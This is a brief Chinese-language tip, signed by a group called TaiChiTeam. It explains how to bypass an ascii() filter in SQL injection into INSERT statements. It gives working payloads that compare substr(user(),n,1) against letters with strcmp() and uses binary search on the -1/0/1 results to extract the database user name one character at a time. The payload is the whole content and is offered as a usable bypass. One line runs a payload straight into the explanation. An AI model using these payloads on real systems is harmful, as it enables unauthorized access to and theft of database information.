在insert 注入中，极限情况下过滤了ascii，可以用这种姿势绕过
'0'+strcmp('TaiChiTeam',substr(user(),1,1))+'TaiChiTeam使用二分法，0'+strcmp('z',substr(user(),1,1))+'TaiChiTeam 返回 -1 则
0'+strcmp('m',substr(user(),1,1))+'TaiChiTeam 返回1 则继续
直到返回值依次为 1 0 -1 或者 -1 0 1 则 0 中的字符为正确值
然后继续
0'+strcmp('z',substr(user(),2,1))+'TaiChiTeam
by TaiChiTeam Taichi-0x1
